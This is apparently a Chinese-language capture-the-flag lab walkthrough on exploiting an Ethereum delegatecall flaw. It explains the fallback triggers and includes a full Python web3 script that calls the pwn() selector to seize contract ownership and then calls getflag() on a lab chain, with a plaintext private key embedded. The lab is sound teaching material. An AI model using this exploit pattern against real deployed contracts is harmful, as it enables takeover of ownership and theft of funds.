区块链安全

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Call函数簇滥用实战一

实验目的

学会使用python3的web3模块
学会以太坊Delegatecall漏洞分析及利用

实验环境

Ubuntu18.04操作机
实验工具
python3

实验原理

call 外部调用时，上下文是外部合约；delegatecall 外部调用时，上下文是调用合约
fallback函数调用条件：一是如果合约在被调用的时候，找不到对方调用的函数，就会自动调用 fallback 函数；二是只要是合约收到别人发送的 Ether 且没有数据，就会尝试执行 fallback 函数，此时 fallback 需要带有 payable 标记，否则，合约就会拒绝这个 Ether

实验内容

找到Delegatecall漏洞并形成利用，把flag标志设置为true
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10005

实验过程

Call函数簇滥用实战一 实验步骤
获取合约地址和合约源代码
nc ip 10005连接到题目，输入1，获取部署合约的game account及token

打开http://ip，输入上述分配的game account，点击Request获取eth

nc ip 10005连接到题目，输入2，获取部署合约的地址及new token

nc ip 10005连接到题目，输入4，获取合约源代码，或者在题目附件找到合约源代码

分析合约源代码漏洞
题目要求把flag设置为true，分析合约代码，需要修改合约owner为自己

漏洞主要在于使用了delegatecall函数调用，delegatecall外部调用时，上下文是调用合约，所以delegate.delegatecall(msg.data)其实调用的是delegate自身的msg.data。
熟悉 raw 格式的交易的 data 的会知道：data 头4个 byte 是被调用方法的签名哈希，即 bytes4(keccak256(“func”)) , remix 里调用函数，实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易，所以我们只需调用 ETH5 的 fallback 的同时在 msg.data 放入 pwn() 函数的签名即可。
这里其实主要思路就是 fallback 的触发条件：一是如果合约在被调用的时候，找不到对方调用的函数，就会自动调用 fallback 函数；二是只要是合约收到别人发送的 Ether 且没有数据，就会尝试执行 fallback 函数，此时 fallback 需要带有 payable 标记，否则，合约就会拒绝这个 Ether。
综上，我们只需调用 Delegation 的 假pwn() 即可，这样就会触发 Delegation 的 fallback ，这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了，这样就会只需 delegate 的 pwn() 把 owner 变成自己
EXP利用
使用EOA账户调用ETH5合约的假pwn()函数将owner修改为攻击者自己，然后调用ETH5的getflag()函数即可，编写exp，将这一过程自动化，下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0xBD29D46744beeD67e15bB20bf0f159aEfEEbBcE7"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt


data = Web3.keccak(text='pwn()').hex()[:10]

# call pwn() in ETH5
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)

time.sleep(5)

# call getflag() in ETH5
data = Web3.keccak(text='getflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)

运行exp，status=1代表交易成功

nc ip 10005连接到题目，输入3，输入之前的new token，获取flag